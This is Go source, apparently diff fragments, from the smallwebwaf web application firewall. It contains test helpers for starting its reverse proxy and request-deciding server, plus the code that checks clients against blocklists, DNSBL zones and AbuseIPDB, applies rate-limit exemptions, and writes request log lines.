 func (o *output) lines(t *testing.T) []map[string]any {
 	t.Helper()
 	o.mu.Lock()
 	defer o.mu.Unlock()
 	var lines []map[string]any
 	for text := range strings.Lines(o.buf.String()) {
 		var line map[string]any
 		err := json.Unmarshal([]byte(text), &line)
 		if err != nil {
 			t.Fatalf("output line %q is not JSON: %v", text, err)
 		}
 		lines = append(lines, line)
 	}
 	return lines
 }
 // logLine is a request log line, as typed fields and as the JSON object
 // it was written as.
 type logLine struct {
 	requestlog.Line
 	fields map[string]any
 }
 // requestLines waits for count request log lines and returns them.
 func (o *output) requestLines(t *testing.T, count int) []logLine {
 	t.Helper()
 	deadline := time.Now().Add(waitLimit)
 	for time.Now().Before(deadline) {
 		var found []logLine
 		for _, fields := range o.lines(t) {
 			if fields["type"] == requestType {
 				found = append(found, decodeLine(t, fields))
 			}
 		}
 		if len(found) >= count {
 			return found
 		}
 		time.Sleep(pollInterval)
 	}
 	t.Fatalf("fewer than %d request log lines after %s", count, waitLimit)
 	return nil
 }
 // requestLine waits for the request log line of a test's one request.
 func (o *output) requestLine(t *testing.T) logLine {
 	t.Helper()
 	return o.requestLines(t, 1)[0]
 }
 // endedLines waits for count requests that went through rproxy, or to discriminator's
 // own endpoints, to have ended, and returns the last log line of each, in the
 // order discriminator took them. A question's last line is the one its report writes.
 func (o *output) endedLines(t *testing.T, count int) []logLine {
 	t.Helper()
 	deadline := time.Now().Add(waitLimit)
 	for time.Now().Before(deadline) {
 		found := o.lastLines(t)
 		ended := len(found) >= count
 		for _, line := range found[:min(count, len(found))] {
 			if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
 				ended = false
 			}
 		}
 		if ended {
 			return found
 		}
 		time.Sleep(pollInterval)
 	}
 	t.Fatalf("fewer than %d requests have ended after %s", count, waitLimit)
 	return nil
 }
 // lastLines returns the last request log line written so far of each request,
 // in the order discriminator took them.
 func (o *output) lastLines(t *testing.T) []logLine {
 	t.Helper()
 	var found []logLine
 	places := map[string]int{}
 	for _, fields := range o.lines(t) {
 		if fields["type"] != requestType {
 			continue
 		}
 		line := decodeLine(t, fields)
 		place, seen := places[line.RequestID]
 		if seen {
 			found[place] = line
 			continue
 		}
 		places[line.RequestID] = len(found)
 		found = append(found, line)
 	}
 	return found
 }
 // endedLine waits for a test's one request to have ended, and returns its last
 // log line.
 func (o *output) endedLine(t *testing.T) logLine {
 	t.Helper()
 	return o.endedLines(t, 1)[0]
 }
 // decodeLine reads a request log line's fields into a logLine.
 func decodeLine(t *testing.T, fields map[string]any) logLine {
 	t.Helper()
 	encoded, err := json.Marshal(fields)
 	if err != nil {
 		t.Fatalf("encode %v: %v", fields, err)
 	}
 	line := logLine{fields: fields}
 	err = json.Unmarshal(encoded, &line.Line)
 	if err != nil {
 		t.Fatalf("decode %s: %v", encoded, err)
 	}
 	return line
 }
 // startApp starts app as the app rproxy passes requests to.
 func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
 	t.Helper()
 	server := httptest.NewServer(app)
 	t.Cleanup(server.Close)
 	return server
 }
 // startProxy starts discriminator, and rproxy in front of the app at appURL, each with
 // the settings in env on top of the defaults, and returns where rproxy listens
 // and what discriminator writes.
 func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
 	t.Helper()
 	return startProxyWithGeoJS(t, appURL, "", env)
 }
 // startProxyWithGeoJS is startProxy with clients' AS numbers and
 // countries looked up at geojsURL.
 func startProxyWithGeoJS(
 	t *testing.T, appURL, geojsURL string, env map[string]string,
 ) (string, *output) {
 	t.Helper()
 	addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env)
 	return addr, out
 }
 // startProxyWithClock is startProxyWithGeoJS with requests counted and
 // bans made by the time now tells, and returns discriminator's server as well, whose
 // Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
 // directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
 // the label instance of every metric.
 func startProxyWithClock(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
 ) (string, *output, *discriminator.Server) {
 	t.Helper()
 	addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
 	return addr, out, server
 }
 // startProxyWithAlerts is startProxyWithClock, and returns the queue of
 // the alerts discriminator raises as well, as newDiscriminator makes them.
 func startProxyWithAlerts(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
 ) (string, *output, *discriminator.Server, *alerts.Queue) {
 	t.Helper()
 	server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
 	serve(t, server)
 	return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
 }
 // serve serves server on a port of its own until the test ends, and sets its
 // Addr to where it listens.
 func serve(t *testing.T, server *discriminator.Server) {
 	t.Helper()
 	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
 	server.Addr = listener.Addr().String()
 	go func() {
 		_ = server.Serve(listener)
 	}()
 	t.Cleanup(func() {
 		_ = server.Close()
 	})
 }
 // startRProxy starts rproxy in front of the app at appURL, asking the discriminator
 // at discriminatorAddr, with the settings in env on top of the defaults, and returns
 // where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
 // env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
 func startRProxy(
 	t *testing.T, discriminatorAddr, appURL string, env map[string]string,
 ) string {
 	t.Helper()
 	settings := map[string]string{
 		"SWRP_WAF_BACKEND":  "http://" + discriminatorAddr,
 		"SWRP_UPSTREAM_URL": appURL,
 		"SWRP_TIMEOUT_MS":   "60000",
 	}
 	maps.Copy(settings, env)
 	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
 		value, ok := settings[name]
 		return value, ok
 	})
 	if err != nil {
 		t.Fatalf("settings %v: %v", settings, err)
 	}
 	server := rproxy.New(rproxy.Params{
 		Config:     cfg,
 		RequestLog: io.Discard,
 		ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
 	})
 	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
 	go func() {
 		_ = server.Serve(listener)
 	}()
 	t.Cleanup(func() {
 		_ = server.Close()
 	})
 	return listener.Addr().String()
 }
 // newDiscriminator makes discriminator's server, without starting it, and
 // returns it, what it writes, and the queue of the alerts it raises, as the
 // settings in env make it. No alert is sent from the queue: they wait in it,
 // for the test to look at.
 // With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
 // SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
 // database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
 // at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
 // env sets it, so that only the tests of the Core Rule Set have their requests
 // inspected by it.
 func newDiscriminator(
 	t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
 ) (*discriminator.Server, *output, *alerts.Queue) {
 	t.Helper()
 	return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
 }
 // newDiscriminatorWith is newDiscriminator for the server build makes.
 func newDiscriminatorWith(
 	t *testing.T, build func(discriminator.Params) *discriminator.Server,
 	geojsURL string, now func() time.Time, env map[string]string,
 ) (*discriminator.Server, *output, *alerts.Queue) {
 	t.Helper()
 	settings := map[string]string{
 		rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
 	}
 	if geojsURL == "" {
 		settings[lookupSource] = off
 	}
 	maps.Copy(settings, env)
 	cfg, err := config.FromEnvironment(func(name string) (string, bool) {
 		value, ok := settings[name]
 		return value, ok
 	})
 	if err != nil {
 		t.Fatalf("settings %v: %v", settings, err)
 	}
 	out := &output{}
 	processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
 	ruleFiles, err := rules.Load(rules.Params{
 		Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
 	})
 	if err != nil {
 		t.Fatalf("rule files: %v", err)
 	}
 	alertQueue := alerts.New(alerts.Params{
 		WebhookURL: cfg.AlertWebhookURL,
 		Events:     cfg.AlertEvents,
 		Cooldown:   cfg.AlertCooldown,
 		MaxPerHour: cfg.AlertMaxPerHour,
 		Instance:   cfg.InstanceName,
 		Now:        now,
 		ProcessLog: processLog,
 	})
 	var lookupFile *lookup.File
 	if cfg.LookupSource == fileSource {
 		lookupFile, err = lookup.OpenFile(lookup.FileParams{
 			Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue,
 		})
 		if err != nil {
 			t.Fatalf("lookup database: %v", err)
 		}
 	}
 	coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
 	if err != nil {
 		t.Fatalf("Core Rule Set: %v", err)
 	}
 	server := build(discriminator.Params{
 		Config:       cfg,
 		RequestLog:   out,
 		ProcessLog:   processLog,
 		GeoJSURL:     geojsURL,
 		AbuseIPDBURL: abuseIPDBURL,
 		LookupFile:   lookupFile,
 		CoreRuleSet:  coreRuleSet,
 		Now:          now,
 		Rules:        ruleFiles,
 		Alerts:       alertQueue,
 	})
 	return server, out, alertQueue
 }
 // newClient returns an HTTP client that sends requests as they are made,
 // with no compression of its own.
 func newClient(t *testing.T) *http.Client {
 	t.Helper()
 	transport := &http.Transport{DisableCompression: true}
 	t.Cleanup(transport.CloseIdleConnections)
 	return &http.Client{Transport: transport}
 }
 // answer is a response as a test reads it: the status, the headers, as
 // much of the body as arrived, and the error that ended the reading, nil
 // when the whole body arrived.
 type answer struct {
 	status int
 	header http.Header
 	body   []byte
 	err    error
 }
 // readAnswer reads all of res, and closes its body.
 func readAnswer(res *http.Response) answer {
 	body, err := io.ReadAll(res.Body)
 	_ = res.Body.Close()
 	return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
 }
 // newRequest makes a request for path to addr, where rproxy or discriminator listens.
 func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
 	t.Helper()
 	req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
 	if err != nil {
 		t.Fatalf("new request: %v", err)
 	}
 	return req
 }
 // do sends req and reads the answer.
 func do(t *testing.T, req *http.Request) answer {
 	t.Helper()
 	res, err := newClient(t).Do(req)
 	if err != nil {
 		t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err)
 	}
 	return readAnswer(res)
 }
 // get sends a GET request for path to addr.
 func get(t *testing.T, addr, path string) answer {
 	t.Helper()
 	return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
 }
 // dial opens a connection to addr, for requests the HTTP client cannot make,
 // such as one that stops sending halfway.
 func dial(t *testing.T, addr string) net.Conn {
 	t.Helper()
 	conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
 	if err != nil {
 		t.Fatalf("dial %s: %v", addr, err)
 	}
 	t.Cleanup(func() {
 		_ = conn.Close()
 	})
 	return conn
 }
 // send writes text to conn.
 func send(t *testing.T, conn net.Conn, text string) {
 	t.Helper()
 	_, err := io.WriteString(conn, text)
 	if err != nil {
 		t.Fatalf("send: %v", err)
 	}
 }
 // readResponse reads the answer to a request sent on conn.
 func readResponse(t *testing.T, conn net.Conn) answer {
 	t.Helper()
 	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
 	if err != nil {
 		t.Fatalf("set read deadline: %v", err)
 	}
 	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
 	if err != nil {
 		t.Fatalf("read response: %v", err)
 	}
 	return readAnswer(res)
 }
 // wantLine checks the request log line's status and action.
 func wantLine(t *testing.T, line logLine, status int, action string) {
 	t.Helper()
 	if line.Status != status || line.Action != action {
 		t.Errorf("log line has status %d and action %q, want %d and %q",
 			line.Status, line.Action, status, action)
 	}
 }
 // wantStatus checks an answer's status.
 func wantStatus(t *testing.T, got answer, status int) {
 	t.Helper()
 	if got.status != status {
 		t.Errorf("status %d, want %d", got.status, status)
 	}
 }
@@ -1,122 +0,0 @@
 package discriminator
 import (
 	"context"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 )
 // deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
 // refuses the requests of a client a source lists.
 const deny = "deny"
 // blocklistDenied notes the blocklists that list the client, as
 // noteListed does, and reports whether SWW_BLOCKLIST_ACTION, being deny,
 // refuses the request. Being limit, it lowers the client's limits instead
 // (see limitPercentages), and being log, it does nothing more.
 func (rq *request) blocklistDenied() bool {
 	listedBy := rq.h.lists.ListedBy(rq.client)
 	rq.blocklisted = len(listedBy) > 0
 	rq.noteListed(listedBy, "listed by a blocklist")
 	return rq.blocklisted && rq.h.config.BlocklistAction == deny
 }
 // crowdSecBanned reports whether a decision of the CrowdSec decision list
 // on the client is in force at now. If one is, it notes the list, as
 // noteHit does, and bans the client until that decision ends.
 func (rq *request) crowdSecBanned(now time.Time) bool {
 	decision, listed := rq.h.lists.CrowdSecDecision(rq.client, now)
 	if !listed {
 		return false
 	}
 	rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
 		"listed by the CrowdSec decision list")
 	rq.banForCrowdSec(now, decision)
 	return true
 }
 // dnsblDenied notes the DNSBL zones whose verdict lists the client, as
 // noteListed does, and reports whether SWW_REPUTATION_ACTION, being
 // deny, refuses the request. Being limit, it lowers the client's limits
 // instead (see limitPercentages), and being log, it does nothing more. A
 // zone without a verdict on the client is asked about it in the
 // background, and the request does not wait for the answer. ctx is the
 // request's own context.
 func (rq *request) dnsblDenied(ctx context.Context) bool {
 	listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client)
 	rq.dnsblListed = len(listedBy) > 0
 	rq.noteListed(listedBy, "listed by a DNSBL zone")
 	return rq.dnsblListed && rq.h.config.ReputationAction == deny
 }
 // abuseIPDBDenied notes AbuseIPDB, as noteHit does, with the score, when
 // its score of the client is a hit, and reports whether
 // SWW_REPUTATION_ACTION, being deny, refuses the request, as dnsblDenied
 // does for a zone. While SWW_ABUSEIPDB_KEY is unset it does nothing. A
 // client without a score is checked in the background, by the request's
 // address, if its history counts an offence, and the request does not
 // wait for the answer. The score is then used for each address of the
 // client. ctx is the request's own context.
 func (rq *request) abuseIPDBDenied(ctx context.Context) bool {
 	if rq.h.config.AbuseIPDBKey == "" {
 		return false
 	}
 	client := rq.h.clientGroup(rq.client)
 	held, _ := rq.h.limiter.Client(client)
 	offender := held.History.Offences != ratelimit.Offences{}
 	score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
 	if !hit {
 		return false
 	}
 	rq.abuseIPDBHit = true
 	rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
 		"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
 	return rq.h.config.ReputationAction == deny
 }
 // noteListed notes each of sources, the URLs of the blocklists or the
 // DNSBL zones, their keys masked, that list the client, as noteHit does,
 // with reason.
 func (rq *request) noteListed(sources []string, reason string) {
 	for _, source := range sources {
 		rq.noteHit(bans.ReputationHit{Source: source}, reason)
 	}
 }
 // noteHit adds hit's source, which lists the client, to the log line's
 // reputation, and hit to the notes of a ban the request makes, counts the
 // source in the metrics, and raises a reputation_hit alert with reason,
 // whose detail gives hit's source and score.
 func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
 	detail := map[string]any{"source": hit.Source}
 	if hit.Score != nil {
 		detail["score"] = *hit.Score
 	}
 	rq.line.Reputation = append(rq.line.Reputation, hit.Source)
 	rq.reputation = append(rq.reputation, hit)
 	rq.h.metrics.ReputationHit(hit.Source)
 	rq.h.alerts.Raise(alerts.Alert{
 		Event:    alerts.EventReputationHit,
 		Host:     rq.site,
 		Client:   rq.client,
 		Netblock: rq.h.clientGroup(rq.client),
 		ASN:      rq.line.ASN,
 		ASName:   rq.line.ASName,
 		Country:  rq.line.Country,
 		Reason:   reason,
 		Detail:   detail,
 	})
 }
@@ -1,462 +0,0 @@
 package discriminator
 import (
 	"context"
 	"net/http"
 	"net/netip"
 	"slices"
 	"strings"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
 )
 // refusal is discriminator refusing a request: the status the visitor is to get, 0
 // to close its connection without an answer, and the action the log line names.
 type refusal struct {
 	status int
 	action string
 }
 // decision is what the checks note of a request: its log line, and what
 // counting the request needs once it has ended. discriminator keeps a copy of it
 // until the request's report comes. It holds no credentials, since the log line
 // never does, and neither the request's objects nor their bodies.
 type decision struct {
 	line   requestlog.Line
 	client netip.Addr
 	// requestURI is the path with the query, as a ban's notes keep it.
 	requestURI string
 	// site is, for a question, the host the visitor asked for, which the
 	// alerts name, since one discriminator serves many sites.
 	site string
 	// allowed is true for a question answered with DispositionAllow.
 	allowed bool
 	// lookedUp is true once the client's AS number and country have been
 	// looked up, whether or not an answer was there, and lookupAnswer is
 	// what the lookup gave then, the zero Answer while GeoJS had given none.
 	lookedUp     bool
 	lookupAnswer lookup.Answer
 	// skippedLookupWait is true for a request that did not wait for GeoJS and
 	// found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
 	// so that not waiting never lowers its client's limits.
 	skippedLookupWait bool
 	// counted is true for a request the rate limits counted, whose bytes
 	// the byte limits count once it has ended. limitPercent and
 	// bytesPercent are then its client's limit percentages for the rate
 	// limits and for the byte limits.
 	counted                    bool
 	limitPercent, bytesPercent percentage
 	// attack is true for a request that matched a ban rule or asked for a
 	// trap path, ruleBlocked for one a block rule refused, and wafBlocked for
 	// one the Core Rule Set refused, each an offence its client's history
 	// counts.
 	attack, ruleBlocked, wafBlocked bool
 	// reputation is the reputation sources that list the client, for the
 	// notes of a ban the request makes.
 	reputation []bans.ReputationHit
 }
 // request is one request to discriminator, from the moment its headers have been
 // read to its log line.
 type request struct {
 	decision
 	h   *handler
 	in  *http.Request
 	out *responseWriter
 	// blocklisted is true once a blocklist is found to list the client,
 	// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
 	// AbuseIPDB's score of it is a hit.
 	blocklisted, dnsblListed, abuseIPDBHit bool
 	start                                  time.Time
 	// checked is when the checks were done.
 	checked time.Time
 	// refused is what the request was refused with, nil if it was not.
 	refused *refusal
 	// requestBytes is how many bytes of the request's body have been read.
 	requestBytes int64
 }
 // startRequest starts handling r from client, which came through peer: it
 // notes the time, counts the request as under way, and starts the log line
 // with what is known of the request. isQuestion says whether r is a question,
 // whose headers give the request's id and scheme.
 func (h *handler) startRequest(
 	w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
 ) *request {
 	h.metrics.RequestStarted()
 	start := time.Now()
 	forwardedFor := r.Header.Values("X-Forwarded-For")
 	rq := &request{
 		decision: decision{
 			client:     client,
 			requestURI: r.URL.RequestURI(),
 			line: requestlog.Line{
 				Time:             requestlog.FormatTime(start),
 				Instance:         h.config.InstanceName,
 				ClientIP:         client.String(),
 				Method:           r.Method,
 				Scheme:           scheme(r, isQuestion),
 				Host:             r.Host,
 				Path:             rules.Path(r),
 				Query:            r.URL.RawQuery,
 				Protocol:         r.Proto,
 				Referer:          r.Referer(),
 				UserAgent:        r.UserAgent(),
 				RequestID:        requestID(r, isQuestion),
 				PeerIP:           peer.String(),
 				ForwardedFor:     strings.Join(forwardedFor, ", "),
 				ClientGroup:      h.clientGroup(client).String(),
 				ContentType:      r.Header.Get("Content-Type"),
 				RequestHeaders:   requestHeaders(r, h.config.LogRequestHeaders),
 				HasAuthorization: len(r.Header.Values("Authorization")) > 0,
 				HasCookie:        len(r.Header.Values("Cookie")) > 0,
 				Action:           requestlog.ActionForward,
 			},
 		},
 		h:     h,
 		in:    r,
 		out:   &responseWriter{ResponseWriter: w},
 		start: start,
 	}
 	// A length of -1 is a body whose length was not announced.
 	if r.ContentLength > 0 {
 		rq.line.ContentLength = r.ContentLength
 	}
 	return rq
 }
 // requestHeaders returns the headers of r that names lists, by name in
 // lower case, each with its values joined by ", ". Authorization, Cookie
 // and Set-Cookie are never among them, whatever names says.
 func requestHeaders(r *http.Request, names []string) map[string]string {
 	headers := map[string]string{}
 	for _, name := range names {
 		switch name {
 		case "authorization", "cookie", "set-cookie":
 			continue
 		}
 		values := r.Header.Values(name)
 		if len(values) > 0 {
 			headers[name] = strings.Join(values, ", ")
 		}
 	}
 	return headers
 }
 // check is the one place where a request can be refused. It returns nil to let
 // the request through. The checks of checkClient decide: a request they refuse
 // is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core Rule Set,
 // or 431 for the header limits. In observe mode nothing is refused, and the log
 // line names what enforce mode would have done. ctx is the request's own context.
 func (rq *request) check(ctx context.Context) *refusal {
 	action := rq.checkClient(ctx)
 	switch {
 	case action == "":
 		return nil
 	case rq.h.config.Observe:
 		rq.line.WouldAction = action
 		return nil
 	case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
 		return &refusal{status: http.StatusForbidden, action: action}
 	case action == requestlog.ActionTooLarge:
 		return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
 	default:
 		return rq.banResponse(action)
 	}
 }
 // checkClient runs the checks on the request's client, and returns the
 // action of the first that refuses the request, or "" when none does. A
 // client in SWW_ALLOW_NETS skips them, and is not looked up. For any
 // other client, SWW_DENY_NETS comes first, then a ban on its netblock,
 // so that a client either refuses is not looked up, then the lookup of
 // its AS number and country, then the country lists, then the blocklists,
 // then the CrowdSec decision list, which bans the client it lists, then
 // the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of
 // them refuses is not counted for the rate limits. Then come the
 // rate limits, unless the client is in SWW_RATE_LIMIT_EXEMPT_NETS or the
 // request's path is exempt under SWW_RATE_LIMIT_EXEMPT_PATHS, so that
 // every other request is counted, each of them by the client's limit
 // percentages, then SWW_TRAP_PATHS, then the rule files, then the header
 // limits, and last the Core Rule Set. A request exempt from the rate limits
 // is exempt from the byte limits too. ctx is the request's own context.
 func (rq *request) checkClient(ctx context.Context) string {
 	cfg := rq.h.config
 	if isInside(rq.client, cfg.AllowNets) {
 		return ""
 	}
 	now := rq.h.now()
 	if isInside(rq.client, cfg.DenyNets) {
 		return requestlog.ActionDenied
 	}
 	if rq.banned(now) {
 		return requestlog.ActionBanned
 	}
 	rq.lookUp(ctx, now)
 	// The lookup can wait for GeoJS, so the checks after it read the time
 	// again: a request counted at the time it arrived could be counted
 	// after a later one of its client's, which the rate limits would take
 	// for the clock set back.
 	now = rq.h.now()
 	if rq.countryDenied() {
 		return requestlog.ActionCountryDenied
 	}
 	if rq.blocklistDenied() {
 		return requestlog.ActionDenied
 	}
 	if rq.crowdSecBanned(now) {
 		return requestlog.ActionBanned
 	}
 	if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
 		return requestlog.ActionDenied
 	}
 	rq.counted = rq.countedByRateLimits()
 	if rq.counted {
 		rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
 		rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
 		rq.line.BytesPercent, rq.line.BytesPercentSetting = rq.bytesPercent.logged()
 	}
 	if rq.counted && rq.limitBroken(now) {
 		return requestlog.ActionRateLimited
 	}
 	if rq.trapPath(now) {
 		return requestlog.ActionBanned
 	}
 	action := rq.checkRules(now)
 	if action != "" {
 		return action
 	}
 	if rq.overHeaderLimits() {
 		return requestlog.ActionTooLarge
 	}
 	return rq.checkCoreRuleSet()
 }
 // countedByRateLimits reports whether the rate limits count the request: its
 // client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
 // under SWW_RATE_LIMIT_EXEMPT_PATHS.
 func (rq *request) countedByRateLimits() bool {
 	cfg := rq.h.config
 	return !isInside(rq.client, cfg.RateLimitExemptNets) &&
 		!pathExempt(rq.in, cfg.RateLimitExemptPaths)
 }
 // pathExempt reports whether r is exempt under prefixes,
 // SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
 // path as sent, the path the app receives, not percent-decoded, starts
 // with one of prefixes, so that /%61ssets/x is not under /assets/ for an
 // app whose router matches the path as received. A request whose decoded
 // path contains .. anywhere or a backslash, or whose path as sent holds an
 // encoded slash (%2F or %2f), never is, since an app may act on it as a
 // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
 // as one path segment, as Go's router does.
 func pathExempt(r *http.Request, prefixes []string) bool {
 	decoded := r.URL.Path
 	sent := rules.Path(r)
 	if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
 		strings.Contains(strings.ToLower(sent), "%2f") {
 		return false
 	}
 	return slices.ContainsFunc(prefixes, func(prefix string) bool {
 		return strings.HasPrefix(sent, prefix)
 	})
 }
 // finish counts the request in the metrics and writes its log line.
 func (rq *request) finish() {
 	line := &rq.line
 	line.Status = rq.out.status
 	line.ResponseBytes = rq.out.bytes
 	line.ResponseContentType = rq.out.Header().Get("Content-Type")
 	line.RequestBytes = rq.requestBytes
 	switch {
 	case rq.refused != nil:
 		line.Action = rq.refused.action
 	case rq.out.err != nil || rq.in.Context().Err() != nil:
 		line.Aborted = true
 	}
 	duration := time.Since(rq.start)
 	line.DurationTotal = requestlog.Milliseconds(duration)
 	line.DurationChecks = timing(rq.start, rq.checked)
 	// Counted before the log line is written, so that the metrics count
 	// every request whose line is out. An allowed request is the exception:
 	// its report gives the status, bytes and times the metrics count.
 	if rq.allowed {
 		rq.h.metrics.RequestAllowed()
 	} else {
 		rq.h.metrics.RequestEnded(line, duration)
 	}
 	rq.writeLine()
 }
 // writeLine writes the request's log line.
 func (rq *request) writeLine() {
 	err := requestlog.Write(rq.h.requestLog, &rq.line)
 	if err != nil {
 		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
 	}
 }
 // timing is the time from start to end in milliseconds, for one of the
 // log line's timings, or nil when end is zero: what it times never
 // happened.
 func timing(start, end time.Time) *float64 {
 	if end.IsZero() {
 		return nil
 	}
 	return new(requestlog.Milliseconds(end.Sub(start)))
 }
 // addToHistory adds the request, which has ended, to its client's
 // history, and counts its offences in the metrics, and then the lookup's
 // answer about the client, as answerAtTheEnd gives it, to that history and
 // to the notes of the bans on its netblock: an answer may have come
 // before either was there, and one from GeoJS that comes later is added
 // when it comes.
 func (rq *request) addToHistory() {
 	request := ratelimit.Request{
 		Forwarded:     rq.allowed,
 		Refused:       rq.refused != nil,
 		Status:        rq.out.status,
 		RequestBytes:  rq.requestBytes,
 		ResponseBytes: rq.out.bytes,
 		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
 		Attack:        rq.attack,
 		RuleBlocked:   rq.ruleBlocked,
 		WAFBlocked:    rq.wafBlocked,
 	}
 	rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
 	rq.h.metrics.Offences(request)
 	answer, found := rq.answerAtTheEnd()
 	if found {
 		rq.h.addLookup(answer)
 	}
 }
 // countAnomalies counts the request, which has ended, and its bytes, as
 // countedBytes gives them, for the anomaly thresholds, whatever was done
 // with it: a request refused, one from a client in SWW_ALLOW_NETS or
 // SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
 // SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
 // client's AS number when answerAtTheEnd gives one. With every anomaly
 // threshold off, the default, it does nothing.
 func (rq *request) countAnomalies() {
 	if !anomalyThresholdsSet(rq.h.config) {
 		return
 	}
 	answer, _ := rq.answerAtTheEnd()
 	rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
 		Host:        rq.site,
 		Client:      rq.client,
 		ClientGroup: rq.h.clientGroup(rq.client),
 		ASN:         answer.ASN,
 		ASName:      answer.ASName,
 		Country:     answer.Country,
 		Bytes:       rq.countedBytes(),
 	})
 }
 // anomalyThresholdsSet reports whether any anomaly threshold is set.
 func anomalyThresholdsSet(cfg *config.Config) bool {
 	off := anomaly.Thresholds{}
 	return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
 		cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
 }
 // answerAtTheEnd returns, for a client that was looked up, the lookup's
 // answer about it as the request ends, and whether there is one: the
 // lookup database's, which was there at once, or the one GeoJS has given
 // by then, which a request does not wait for unless a setting needs it.
 func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
 	if !rq.lookedUp {
 		return lookup.Answer{}, false
 	}
 	if rq.h.config.LookupSource == "file" {
 		return rq.lookupAnswer, true
 	}
 	return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
 }
 // responseWriter is discriminator's answer to a request. It notes the status and
 // size for the log line, and the first error writing the answer.
 type responseWriter struct {
 	http.ResponseWriter
 	// status is the status sent, or zero before one is.
 	status int
 	bytes  int64
 	err    error
 }
 // WriteHeader sends the status and headers.
 func (w *responseWriter) WriteHeader(status int) {
 	if w.status == 0 {
 		w.status = status
 	}
 	w.ResponseWriter.WriteHeader(status)
 }
 // Write sends part of the body.
 func (w *responseWriter) Write(p []byte) (int, error) {
 	if w.status == 0 {
 		w.status = http.StatusOK
 	}
 	n, err := w.ResponseWriter.Write(p)
 	w.bytes += int64(n)
 	if w.err == nil {
 		w.err = err
 	}
 	return n, err
 }
@@ -1,64 +0,0 @@
 package discriminator
 import (
 	"slices"
